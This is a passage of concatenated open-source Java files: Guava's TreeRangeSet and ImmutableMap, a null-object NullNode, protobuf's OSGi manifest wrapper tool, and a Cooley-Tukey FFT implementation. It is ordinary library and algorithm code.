(!lowerBoundWindow.contains(cut) || cut.compareTo(restriction.lowerBound) < 0 || cut.compareTo(restriction.upperBound) >= 0) { return null; } else if (cut.equals(restriction.lowerBound)) { // it might be present, truncated on the left Range<C> candidate = Maps.valueOrNull(rangesByLowerBound.floorEntry(cut)); if (candidate != null && candidate.upperBound.compareTo(restriction.lowerBound) > 0) { return candidate.intersection(restriction); } } else { Range<C> result = rangesByLowerBound.get(cut); if (result != null) { return result.intersection(restriction); } } } catch (ClassCastException e) { return null; } } return null; } @Override Iterator<Entry<Cut<C>, Range<C>>> entryIterator() { if (restriction.isEmpty()) { return Iterators.emptyIterator(); } Iterator<Range<C>> completeRangeItr; if (lowerBoundWindow.upperBound.isLessThan(restriction.lowerBound)) { return Iterators.emptyIterator(); } else if (lowerBoundWindow.lowerBound.isLessThan(restriction.lowerBound)) { // starts at the first range with upper bound strictly greater than restriction.lowerBound completeRangeItr = rangesByUpperBound.tailMap(restriction.lowerBound, false).values().iterator(); } else { // starts at the first range with lower bound above lowerBoundWindow.lowerBound completeRangeItr = rangesByLowerBound .tailMap( lowerBoundWindow.lowerBound.endpoint(), lowerBoundWindow.lowerBoundType() == BoundType.CLOSED) .values() .iterator(); } Cut<Cut<C>> upperBoundOnLowerBounds = Ordering.<Cut<Cut<C>>>natural() .min(lowerBoundWindow.upperBound, Cut.belowValue(restriction.upperBound)); return new AbstractIterator<Entry<Cut<C>, Range<C>>>() { @Override @CheckForNull protected Entry<Cut<C>, Range<C>> computeNext() { if (!completeRangeItr.hasNext()) { return endOfData(); } Range<C> nextRange = completeRangeItr.next(); if (upperBoundOnLowerBounds.isLessThan(nextRange.lowerBound)) { return endOfData(); } else { nextRange = nextRange.intersection(restriction); return Maps.immutableEntry(nextRange.lowerBound, nextRange); } } }; } @Override Iterator<Entry<Cut<C>, Range<C>>> descendingEntryIterator() { if (restriction.isEmpty()) { return Iterators.emptyIterator(); } Cut<Cut<C>> upperBoundOnLowerBounds = Ordering.<Cut<Cut<C>>>natural() .min(lowerBoundWindow.upperBound, Cut.belowValue(restriction.upperBound)); Iterator<Range<C>> completeRangeItr = rangesByLowerBound .headMap( upperBoundOnLowerBounds.endpoint(), upperBoundOnLowerBounds.typeAsUpperBound() == BoundType.CLOSED) .descendingMap() .values() .iterator(); return new AbstractIterator<Entry<Cut<C>, Range<C>>>() { @Override @CheckForNull protected Entry<Cut<C>, Range<C>> computeNext() { if (!completeRangeItr.hasNext()) { return endOfData(); } Range<C> nextRange = completeRangeItr.next(); if (restriction.lowerBound.compareTo(nextRange.upperBound) >= 0) { return endOfData(); } nextRange = nextRange.intersection(restriction); if (lowerBoundWindow.contains(nextRange.lowerBound)) { return Maps.immutableEntry(nextRange.lowerBound, nextRange); } else { return endOfData(); } } }; } @Override public int size() { return Iterators.size(entryIterator()); } } @Override public RangeSet<C> subRangeSet(Range<C> view) { return view.equals(Range.<C>all()) ? this : new SubRangeSet(view); } private final class SubRangeSet extends TreeRangeSet<C> { private final Range<C> restriction; SubRangeSet(Range<C> restriction) { super( new SubRangeSetRangesByLowerBound<C>( Range.<Cut<C>>all(), restriction, TreeRangeSet.this.rangesByLowerBound)); this.restriction = restriction; } @Override public boolean encloses(Range<C> range) { if (!restriction.isEmpty() && restriction.encloses(range)) { Range<C> enclosing = TreeRangeSet.this.rangeEnclosing(range); return enclosing != null && !enclosing.intersection(restriction).isEmpty(); } return false; } @Override @CheckForNull public Range<C> rangeContaining(C value) { if (!restriction.contains(value)) { return null; } Range<C> result = TreeRangeSet.this.rangeContaining(value); return (result == null) ? null : result.intersection(restriction); } @Override public void add(Range<C> rangeToAdd) { checkArgument( restriction.encloses(rangeToAdd), "Cannot add range %s to subRangeSet(%s)", rangeToAdd, restriction); TreeRangeSet.this.add(rangeToAdd); } @Override public void remove(Range<C> rangeToRemove) { if (rangeToRemove.isConnected(restriction)) { TreeRangeSet.this.remove(rangeToRemove.intersection(restriction)); } } @Override public boolean contains(C value) { return restriction.contains(value) && TreeRangeSet.this.contains(value); } @Override public void clear() { TreeRangeSet.this.remove(restriction); } @Override public RangeSet<C> subRangeSet(Range<C> view) { if (view.encloses(restriction)) { return this; } else if (view.isConnected(restriction)) { return new SubRangeSet(restriction.intersection(view)); } else { return ImmutableRangeSet.of(); } } } }
google/guava
guava/src/com/google/common/collect/TreeRangeSet.java
340
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.nullobject; /** * Null Object implementation for binary tree node. * * <p>Implemented as Singleton, since all the NullNodes are the same. */ public final class NullNode implements Node { private static final NullNode instance = new NullNode(); private NullNode() { } public static NullNode getInstance() { return instance; } @Override public int getTreeSize() { return 0; } @Override public Node getLeft() { return null; } @Override public Node getRight() { return null; } @Override public String getName() { return null; } @Override public void walk() { // Do nothing } }
smedals/java-design-patterns
null-object/src/main/java/com/iluwatar/nullobject/NullNode.java
342
// Protocol Buffers - Google's data interchange format // Copyright 2008 Google Inc. All rights reserved. // // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file or at // https://developers.google.com/open-source/licenses/bsd package com.google.protobuf.osgi; import aQute.bnd.osgi.Analyzer; import aQute.bnd.osgi.Jar; import java.io.File; import java.util.Arrays; import java.util.concurrent.Callable; import java.util.jar.Manifest; import java.util.stream.Collectors; import picocli.CommandLine; import picocli.CommandLine.Command; import picocli.CommandLine.Option; /** Java binary that runs bndlib to analyze a jar file to generate OSGi bundle manifest. */ @Command(name = "osgi_wrapper") public final class OsgiWrapper implements Callable<Integer> { private static final String REMOVEHEADERS = Arrays.stream( new String[] { "Embed-Dependency", "Embed-Transitive", "Built-By", // "Tool", "Created-By", // "Build-Jdk", "Originally-Created-By", "Archiver-Version", "Include-Resource", "Private-Package", "Ignore-Package", // "Bnd-LastModified", "Target-Label" }) .collect(Collectors.joining(",")); @Option( names = {"--input_jar"}, description = "The jar file to wrap with OSGi metadata") private File inputJar; @Option( names = {"--output_jar"}, description = "Output path to the wrapped jar") private File outputJar; @Option( names = {"--classpath"}, description = "The classpath that contains dependencies of the input jar, separated with :") private String classpath; @Option( names = {"--automatic_module_name"}, description = "The automatic module name of the bundle") private String automaticModuleName; @Option( names = {"--bundle_copyright"}, description = "Copyright string for the bundle") private String bundleCopyright; @Option( names = {"--bundle_description"}, description = "Description of the bundle") private String bundleDescription; @Option( names = {"--bundle_doc_url"}, description = "Documentation URL for the bundle") private String bundleDocUrl; @Option( names = {"--bundle_license"}, description = "URL for the license of the bundle") private String bundleLicense; @Option( names = {"--bundle_name"}, description = "The name of the bundle") private String bundleName; @Option( names = {"--bundle_symbolic_name"}, description = "The symbolic name of the bundle") private String bundleSymbolicName; @Option( names = {"--bundle_version"}, description = "The version of the bundle") private String bundleVersion; @Option( names = {"--export_package"}, description = "The exported packages from this bundle") private String exportPackage; @Option( names = {"--import_package"}, description = "The imported packages from this bundle") private String importPackage; @Override public Integer call() throws Exception { Jar bin = new Jar(inputJar); Analyzer analyzer = new Analyzer(); analyzer.setJar(bin); analyzer.setProperty(Analyzer.AUTOMATIC_MODULE_NAME, automaticModuleName); analyzer.setProperty(Analyzer.BUNDLE_NAME, bundleName); analyzer.setProperty(Analyzer.BUNDLE_SYMBOLICNAME, bundleSymbolicName); analyzer.setProperty(Analyzer.BUNDLE_VERSION, bundleVersion); analyzer.setProperty(Analyzer.IMPORT_PACKAGE, importPackage); analyzer.setProperty(Analyzer.EXPORT_PACKAGE, exportPackage); analyzer.setProperty(Analyzer.BUNDLE_DESCRIPTION, bundleDescription); analyzer.setProperty(Analyzer.BUNDLE_COPYRIGHT, bundleCopyright); analyzer.setProperty(Analyzer.BUNDLE_DOCURL, bundleDocUrl); analyzer.setProperty(Analyzer.BUNDLE_LICENSE, bundleLicense); analyzer.setProperty(Analyzer.REMOVEHEADERS, REMOVEHEADERS); if (classpath != null) { for (String dep : Arrays.asList(classpath.split(":"))) { analyzer.addClasspath(new File(dep)); } } analyzer.analyze(); Manifest manifest = analyzer.calcManifest(); if (analyzer.isOk()) { analyzer.getJar().setManifest(manifest); if (analyzer.save(outputJar, true)) { return 0; } } return 1; } public static void main(String[] args) { int exitCode = new CommandLine(new OsgiWrapper()).execute(args); System.exit(exitCode); } }
protocolbuffers/protobuf
java/osgi/OsgiWrapper.java
344
package com.thealgorithms.maths; import java.util.ArrayList; import java.util.Collections; /** * Class for calculating the Fast Fourier Transform (FFT) of a discrete signal * using the Cooley-Tukey algorithm. * * @author Ioannis Karavitsis * @version 1.0 */ public final class FFT { private FFT() { } /** * This class represents a complex number and has methods for basic * operations. * * <p> * More info: * https://introcs.cs.princeton.edu/java/32class/Complex.java.html */ static class Complex { private double real, img; /** * Default Constructor. Creates the complex number 0. */ Complex() { real = 0; img = 0; } /** * Constructor. Creates a complex number. * * @param r The real part of the number. * @param i The imaginary part of the number. */ Complex(double r, double i) { real = r; img = i; } /** * Returns the real part of the complex number. * * @return The real part of the complex number. */ public double getReal() { return real; } /** * Returns the imaginary part of the complex number. * * @return The imaginary part of the complex number. */ public double getImaginary() { return img; } /** * Adds this complex number to another. * * @param z The number to be added. * @return The sum. */ public Complex add(Complex z) { Complex temp = new Complex(); temp.real = this.real + z.real; temp.img = this.img + z.img; return temp; } /** * Subtracts a number from this complex number. * * @param z The number to be subtracted. * @return The difference. */ public Complex subtract(Complex z) { Complex temp = new Complex(); temp.real = this.real - z.real; temp.img = this.img - z.img; return temp; } /** * Multiplies this complex number by another. * * @param z The number to be multiplied. * @return The product. */ public Complex multiply(Complex z) { Complex temp = new Complex(); temp.real = this.real * z.real - this.img * z.img; temp.img = this.real * z.img + this.img * z.real; return temp; } /** * Multiplies this complex number by a scalar. * * @param n The real number to be multiplied. * @return The product. */ public Complex multiply(double n) { Complex temp = new Complex(); temp.real = this.real * n; temp.img = this.img * n; return temp; } /** * Finds the conjugate of this complex number. * * @return The conjugate. */ public Complex conjugate() { Complex temp = new Complex(); temp.real = this.real; temp.img = -this.img; return temp; } /** * Finds the magnitude of the complex number. * * @return The magnitude. */ public double abs() { return Math.hypot(this.real, this.img); } /** * Divides this complex number by another. * * @param z The divisor. * @return The quotient. */ public Complex divide(Complex z) { Complex temp = new Complex(); double d = z.abs() * z.abs(); d = (double) Math.round(d * 1000000000d) / 1000000000d; temp.real = (this.real * z.real + this.img * z.img) / (d); temp.img = (this.img * z.real - this.real * z.img) / (d); return temp; } /** * Divides this complex number by a scalar. * * @param n The divisor which is a real number. * @return The quotient. */ public Complex divide(double n) { Complex temp = new Complex(); temp.real = this.real / n; temp.img = this.img / n; return temp; } } /** * Iterative In-Place Radix-2 Cooley-Tukey Fast Fourier Transform Algorithm * with Bit-Reversal. The size of the input signal must be a power of 2. If * it isn't then it is padded with zeros and the output FFT will be bigger * than the input signal. * * <p> * More info: * https://www.algorithm-archive.org/contents/cooley_tukey/cooley_tukey.html * https://www.geeksforgeeks.org/iterative-fast-fourier-transformation-polynomial-multiplication/ * https://en.wikipedia.org/wiki/Cooley%E2%80%93Tukey_FFT_algorithm * https://cp-algorithms.com/algebra/fft.html * @param x The discrete signal which is then converted to the FFT or the * IFFT of signal x. * @param inverse True if you want to find the inverse FFT. * @return */ public static ArrayList<Complex> fft(ArrayList<Complex> x, boolean inverse) { /* Pad the signal with zeros if necessary */ paddingPowerOfTwo(x); int N = x.size(); int log2N = findLog2(N); x = fftBitReversal(N, log2N, x); int direction = inverse ? -1 : 1; /* Main loop of the algorithm */ for (int len = 2; len <= N; len *= 2) { double angle = -2 * Math.PI / len * direction; Complex wlen = new Complex(Math.cos(angle), Math.sin(angle)); for (int i = 0; i < N; i += len) { Complex w = new Complex(1, 0); for (int j = 0; j < len / 2; j++) { Complex u = x.get(i + j); Complex v = w.multiply(x.get(i + j + len / 2)); x.set(i + j, u.add(v)); x.set(i + j + len / 2, u.subtract(v)); w = w.multiply(wlen); } } } x = inverseFFT(N, inverse, x); return x; } /* Find the log2(N) */ public static int findLog2(int N) { int log2N = 0; while ((1 << log2N) < N) { log2N++; } return log2N; } /* Swap the values of the signal with bit-reversal method */ public static ArrayList<Complex> fftBitReversal(int N, int log2N, ArrayList<Complex> x) { int reverse; for (int i = 0; i < N; i++) { reverse = reverseBits(i, log2N); if (i < reverse) { Collections.swap(x, i, reverse); } } return x; } /* Divide by N if we want the inverse FFT */ public static ArrayList<Complex> inverseFFT(int N, boolean inverse, ArrayList<Complex> x) { if (inverse) { for (int i = 0; i < x.size(); i++) { Complex z = x.get(i); x.set(i, z.divide(N)); } } return x; } /** * This function reverses the bits of a number. It is used in Cooley-Tukey * FFT algorithm. * * <p> * E.g. num = 13 = 00001101 in binary log2N = 8 Then reversed = 176 = * 10110000 in binary * * <p> * More info: https://cp-algorithms.com/algebra/fft.html * https://www.geeksforgeeks.org/write-an-efficient-c-program-to-reverse-bits-of-a-number/ * * @param num The integer you want to reverse its bits. * @param log2N The number of bits you want to reverse. * @return The reversed number */ private static int reverseBits(int num, int log2N) { int reversed = 0; for (int i = 0; i < log2N; i++) { if ((num & (1 << i)) != 0) { reversed |= 1 << (log2N - 1 - i); } } return reversed; } /** * This method pads an ArrayList with zeros in order to have a size equal to * the next power of two of the previous size. * * @param x The ArrayList to be padded. */ private static void paddingPowerOfTwo(ArrayList<Complex> x) { int n = 1; int oldSize = x.size(); while (n < oldSize) { n *= 2; } for (int i = 0; i < n - oldSize; i++) { x.add(new Complex()); } } }
TheAlgorithms/Java
src/main/java/com/thealgorithms/maths/FFT.java
345
/* * Copyright (C) 2008 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.common.collect; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Preconditions.checkState; import static com.google.common.collect.CollectPreconditions.checkEntryNotNull; import static com.google.common.collect.CollectPreconditions.checkNonnegative; import static java.util.Objects.requireNonNull; import com.google.common.annotations.GwtCompatible; import com.google.common.annotations.GwtIncompatible; import com.google.common.annotations.J2ktIncompatible; import com.google.common.annotations.VisibleForTesting; import com.google.errorprone.annotations.CanIgnoreReturnValue; import com.google.errorprone.annotations.DoNotCall; import com.google.errorprone.annotations.DoNotMock; import com.google.errorprone.annotations.concurrent.LazyInit; import com.google.j2objc.annotations.RetainedWith; import com.google.j2objc.annotations.WeakOuter; import java.io.InvalidObjectException; import java.io.ObjectInputStream; import java.io.Serializable; import java.util.Arrays; import java.util.BitSet; import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.EnumMap; import java.util.HashSet; import java.util.Iterator; import java.util.Map; import java.util.Set; import java.util.SortedMap; import java.util.Spliterator; import java.util.Spliterators; import java.util.function.BiFunction; import java.util.function.BinaryOperator; import java.util.function.Function; import java.util.stream.Collector; import java.util.stream.Collectors; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * A {@link Map} whose contents will never change, with many other important properties detailed at * {@link ImmutableCollection}. * * <p>See the Guava User Guide article on <a href= * "https://github.com/google/guava/wiki/ImmutableCollectionsExplained">immutable collections</a>. * * @author Jesse Wilson * @author Kevin Bourrillion * @since 2.0 */ @DoNotMock("Use ImmutableMap.of or another implementation") @GwtCompatible(serializable = true, emulated = true) @SuppressWarnings("serial") // we're overriding default serialization @ElementTypesAreNonnullByDefault public abstract class ImmutableMap<K, V> implements Map<K, V>, Serializable { /** * Returns a {@link Collector} that accumulates elements into an {@code ImmutableMap} whose keys * and values are the result of applying the provided mapping functions to the input elements. * Entries appear in the result {@code ImmutableMap} in encounter order. * * <p>If the mapped keys contain duplicates (according to {@link Object#equals(Object)}, an {@code * IllegalArgumentException} is thrown when the collection operation is performed. (This differs * from the {@code Collector} returned by {@link Collectors#toMap(Function, Function)}, which * throws an {@code IllegalStateException}.) * * @since 21.0 */ public static <T extends @Nullable Object, K, V> Collector<T, ?, ImmutableMap<K, V>> toImmutableMap( Function<? super T, ? extends K> keyFunction, Function<? super T, ? extends V> valueFunction) { return CollectCollectors.toImmutableMap(keyFunction, valueFunction); } /** * Returns a {@link Collector} that accumulates elements into an {@code ImmutableMap} whose keys * and values are the result of applying the provided mapping functions to the input elements. * * <p>If the mapped keys contain duplicates (according to {@link Object#equals(Object)}), the * values are merged using the specified merging function. If the merging function returns {@code * null}, then the collector removes the value that has been computed for the key thus far (though * future occurrences of the key would reinsert it). * * <p>Entries will appear in the encounter order of the first occurrence of the key. * * @since 21.0 */ public static <T extends @Nullable Object, K, V> Collector<T, ?, ImmutableMap<K, V>> toImmutableMap( Function<? super T, ? extends K> keyFunction, Function<? super T, ? extends V> valueFunction, BinaryOperator<V> mergeFunction) { return CollectCollectors.toImmutableMap(keyFunction, valueFunction, mergeFunction); } /** * Returns the empty map. This map behaves and performs comparably to {@link * Collections#emptyMap}, and is preferable mainly for consistency and maintainability of your * code. * * <p><b>Performance note:</b> the instance returned is a singleton. */ @SuppressWarnings("unchecked") public static <K, V> ImmutableMap<K, V> of() { return (ImmutableMap<K, V>) RegularImmutableMap.EMPTY; } /** * Returns an immutable map containing a single entry. This map behaves and performs comparably to * {@link Collections#singletonMap} but will not accept a null key or value. It is preferable * mainly for consistency and maintainability of your code. */ public static <K, V> ImmutableMap<K, V> of(K k1, V v1) { return ImmutableBiMap.of(k1, v1); } /** * Returns an immutable map containing the given entries, in order. * * @throws IllegalArgumentException if duplicate keys are provided */ public static <K, V> ImmutableMap<K, V> of(K k1, V v1, K k2, V v2) { return RegularImmutableMap.fromEntries(entryOf(k1, v1), entryOf(k2, v2)); } /** * Returns an immutable map containing the given entries, in order. * * @throws IllegalArgumentException if duplicate keys are provided */ public static <K, V> ImmutableMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3) { return RegularImmutableMap.fromEntries(entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3)); } /** * Returns an immutable map containing the given entries, in order. * * @throws IllegalArgumentException if duplicate keys are provided */ public static <K, V> ImmutableMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4) { return RegularImmutableMap.fromEntries( entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4)); } /** * Returns an immutable map containing the given entries, in order. * * @throws IllegalArgumentException if duplicate keys are provided */ public static <K, V> ImmutableMap<K, V> of( K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5) { return RegularImmutableMap.fromEntries( entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4), entryOf(k5, v5)); } /** * Returns an immutable map containing the given entries, in order. * * @throws IllegalArgumentException if duplicate keys are provided * @since 31.0 */ public static <K, V> ImmutableMap<K, V> of( K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5, K k6, V v6) { return RegularImmutableMap.fromEntries( entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4), entryOf(k5, v5), entryOf(k6, v6)); } /** * Returns an immutable map containing the given entries, in order. * * @throws IllegalArgumentException if duplicate keys are provided * @since 31.0 */ public static <K, V> ImmutableMap<K, V> of( K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5, K k6, V v6, K k7, V v7) { return RegularImmutableMap.fromEntries( entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4), entryOf(k5, v5), entryOf(k6, v6), entryOf(k7, v7)); } /** * Returns an immutable map containing the given entries, in order. * * @throws IllegalArgumentException if duplicate keys are provided * @since 31.0 */ public static <K, V> ImmutableMap<K, V> of( K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5, K k6, V v6, K k7, V v7, K k8, V v8) { return RegularImmutableMap.fromEntries( entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4), entryOf(k5, v5), entryOf(k6, v6), entryOf(k7, v7), entryOf(k8, v8)); } /** * Returns an immutable map containing the given entries, in order. * * @throws IllegalArgumentException if duplicate keys are provided * @since 31.0 */ public static <K, V> ImmutableMap<K, V> of( K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5, K k6, V v6, K k7, V v7, K k8, V v8, K k9, V v9) { return RegularImmutableMap.fromEntries( entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4), entryOf(k5, v5), entryOf(k6, v6), entryOf(k7, v7), entryOf(k8, v8), entryOf(k9, v9)); } /** * Returns an immutable map containing the given entries, in order. * * @throws IllegalArgumentException if duplicate keys are provided * @since 31.0 */ public static <K, V> ImmutableMap<K, V> of( K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5, K k6, V v6, K k7, V v7, K k8, V v8, K k9, V v9, K k10, V v10) { return RegularImmutableMap.fromEntries( entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4), entryOf(k5, v5), entryOf(k6, v6), entryOf(k7, v7), entryOf(k8, v8), entryOf(k9, v9), entryOf(k10, v10)); } // looking for of() with > 10 entries? Use the builder or ofEntries instead. /** * Returns an immutable map containing the given entries, in order. * * @throws IllegalArgumentException if duplicate keys are provided * @since 31.0 */ @SafeVarargs public static <K, V> ImmutableMap<K, V> ofEntries(Entry<? extends K, ? extends V>... entries) { @SuppressWarnings("unchecked") // we will only ever read these Entry<K, V>[] entries2 = (Entry<K, V>[]) entries; return RegularImmutableMap.fromEntries(entries2); } /** * Verifies that {@code key} and {@code value} are non-null, and returns a new immutable entry * with those values. * * <p>A call to {@link Entry#setValue} on the returned entry will always throw {@link * UnsupportedOperationException}. */ static <K, V> Entry<K, V> entryOf(K key, V value) { return new ImmutableMapEntry<>(key, value); } /** * Returns a new builder. The generated builder is equivalent to the builder created by the {@link * Builder} constructor. */ public static <K, V> Builder<K, V> builder() { return new Builder<>(); } /** * Returns a new builder, expecting the specified number of entries to be added. * * <p>If {@code expectedSize} is exactly the number of entries added to the builder before {@link * Builder#build} is called, the builder is likely to perform better than an unsized {@link * #builder()} would have. * * <p>It is not specified if any performance benefits apply if {@code expectedSize} is close to, * but not exactly, the number of entries added to the builder. * * @since 23.1 */ public static <K, V> Builder<K, V> builderWithExpectedSize(int expectedSize) { checkNonnegative(expectedSize, "expectedSize"); return new Builder<>(expectedSize); } static void checkNoConflict( boolean safe, String conflictDescription, Object entry1, Object entry2) { if (!safe) { throw conflictException(conflictDescription, entry1, entry2); } } static IllegalArgumentException conflictException( String conflictDescription, Object entry1, Object entry2) { return new IllegalArgumentException( "Multiple entries with same " + conflictDescription + ": " + entry1 + " and " + entry2); } /** * A builder for creating immutable map instances, especially {@code public static final} maps * ("constant maps"). Example: * * <pre>{@code * static final ImmutableMap<String, Integer> WORD_TO_INT = * new ImmutableMap.Builder<String, Integer>() * .put("one", 1) * .put("two", 2) * .put("three", 3) * .buildOrThrow(); * }</pre> * * <p>For <i>small</i> immutable maps, the {@code ImmutableMap.of()} methods are even more * convenient. * * <p>By default, a {@code Builder} will generate maps that iterate over entries in the order they * were inserted into the builder, equivalently to {@code LinkedHashMap}. For example, in the * above example, {@code WORD_TO_INT.entrySet()} is guaranteed to iterate over the entries in the * order {@code "one"=1, "two"=2, "three"=3}, and {@code keySet()} and {@code values()} respect * the same order. If you want a different order, consider using {@link ImmutableSortedMap} to * sort by keys, or call {@link #orderEntriesByValue(Comparator)}, which changes this builder to * sort entries by value. * * <p>Builder instances can be reused - it is safe to call {@link #buildOrThrow} multiple times to * build multiple maps in series. Each map is a superset of the maps created before it. * * @since 2.0 */ @DoNotMock public static class Builder<K, V> { @CheckForNull Comparator<? super V> valueComparator; @Nullable Entry<K, V>[] entries; int size; boolean entriesUsed; /** * Creates a new builder. The returned builder is equivalent to the builder generated by {@link * ImmutableMap#builder}. */ public Builder() { this(ImmutableCollection.Builder.DEFAULT_INITIAL_CAPACITY); } @SuppressWarnings({"unchecked", "rawtypes"}) Builder(int initialCapacity) { this.entries = new @Nullable Entry[initialCapacity]; this.size = 0; this.entriesUsed = false; } private void ensureCapacity(int minCapacity) { if (minCapacity > entries.length) { entries = Arrays.copyOf( entries, ImmutableCollection.Builder.expandedCapacity(entries.length, minCapacity)); entriesUsed = false; } } /** * Associates {@code key} with {@code value} in the built map. If the same key is put more than * once, {@link #buildOrThrow} will fail, while {@link #buildKeepingLast} will keep the last * value put for that key. */ @CanIgnoreReturnValue public Builder<K, V> put(K key, V value) { ensureCapacity(size + 1); Entry<K, V> entry = entryOf(key, value); // don't inline this: we want to fail atomically if key or value is null entries[size++] = entry; return this; } /** * Adds the given {@code entry} to the map, making it immutable if necessary. If the same key is * put more than once, {@link #buildOrThrow} will fail, while {@link #buildKeepingLast} will * keep the last value put for that key. * * @since 11.0 */ @CanIgnoreReturnValue public Builder<K, V> put(Entry<? extends K, ? extends V> entry) { return put(entry.getKey(), entry.getValue()); } /** * Associates all of the given map's keys and values in the built map. If the same key is put * more than once, {@link #buildOrThrow} will fail, while {@link #buildKeepingLast} will keep * the last value put for that key. * * @throws NullPointerException if any key or value in {@code map} is null */ @CanIgnoreReturnValue public Builder<K, V> putAll(Map<? extends K, ? extends V> map) { return putAll(map.entrySet()); } /** * Adds all of the given entries to the built map. If the same key is put more than once, {@link * #buildOrThrow} will fail, while {@link #buildKeepingLast} will keep the last value put for * that key. * * @throws NullPointerException if any key, value, or entry is null * @since 19.0 */ @CanIgnoreReturnValue public Builder<K, V> putAll(Iterable<? extends Entry<? extends K, ? extends V>> entries) { if (entries instanceof Collection) { ensureCapacity(size + ((Collection<?>) entries).size()); } for (Entry<? extends K, ? extends V> entry : entries) { put(entry); } return this; } /** * Configures this {@code Builder} to order entries by value according to the specified * comparator. * * <p>The sort order is stable, that is, if two entries have values that compare as equivalent, * the entry that was inserted first will be first in the built map's iteration order. * * @throws IllegalStateException if this method was already called * @since 19.0 */ @CanIgnoreReturnValue public Builder<K, V> orderEntriesByValue(Comparator<? super V> valueComparator) { checkState(this.valueComparator == null, "valueComparator was already set"); this.valueComparator = checkNotNull(valueComparator, "valueComparator"); return this; } @CanIgnoreReturnValue Builder<K, V> combine(Builder<K, V> other) { checkNotNull(other); ensureCapacity(this.size + other.size); System.arraycopy(other.entries, 0, this.entries, this.size, other.size); this.size += other.size; return this; } private ImmutableMap<K, V> build(boolean throwIfDuplicateKeys) { /* * If entries is full, or if hash flooding is detected, then this implementation may end up * using the entries array directly and writing over the entry objects with non-terminal * entries, but this is safe; if this Builder is used further, it will grow the entries array * (so it can't affect the original array), and future build() calls will always copy any * entry objects that cannot be safely reused. */ switch (size) { case 0: return of(); case 1: // requireNonNull is safe because the first `size` elements have been filled in. Entry<K, V> onlyEntry = requireNonNull(entries[0]); return of(onlyEntry.getKey(), onlyEntry.getValue()); default: break; } // localEntries is an alias for the entries field, except if we end up removing duplicates in // a copy of the entries array. Likewise, localSize is the same as size except in that case. // It's possible to keep using this Builder after calling buildKeepingLast(), so we need to // ensure that its state is not corrupted by removing duplicates that should cause a later // buildOrThrow() to fail, or by changing the size. @Nullable Entry<K, V>[] localEntries; int localSize = size; if (valueComparator == null) { localEntries = entries; } else { if (entriesUsed) { entries = Arrays.copyOf(entries, size); } @SuppressWarnings("nullness") // entries 0..localSize-1 are non-null Entry<K, V>[] nonNullEntries = (Entry<K, V>[]) entries; if (!throwIfDuplicateKeys) { // We want to retain only the last-put value for any given key, before sorting. // This could be improved, but orderEntriesByValue is rather rarely used anyway. Entry<K, V>[] lastEntryForEachKey = lastEntryForEachKey(nonNullEntries, size); if (lastEntryForEachKey != null) { nonNullEntries = lastEntryForEachKey; localSize = lastEntryForEachKey.length; } } Arrays.sort( nonNullEntries, 0, localSize, Ordering.from(valueComparator).onResultOf(Maps.<V>valueFunction())); localEntries = (@Nullable Entry<K, V>[]) nonNullEntries; } entriesUsed = true; return RegularImmutableMap.fromEntryArray(localSize, localEntries, throwIfDuplicateKeys); } /** * Returns a newly-created immutable map. The iteration order of the returned map is the order * in which entries were inserted into the builder, unless {@link #orderEntriesByValue} was * called, in which case entries are sorted by value. * * <p>Prefer the equivalent method {@link #buildOrThrow()} to make it explicit that the method * will throw an exception if there are duplicate keys. The {@code build()} method will soon be * deprecated. * * @throws IllegalArgumentException if duplicate keys were added */ public ImmutableMap<K, V> build() { return buildOrThrow(); } /** * Returns a newly-created immutable map, or throws an exception if any key was added more than * once. The iteration order of the returned map is the order in which entries were inserted * into the builder, unless {@link #orderEntriesByValue} was called, in which case entries are * sorted by value. * * @throws IllegalArgumentException if duplicate keys were 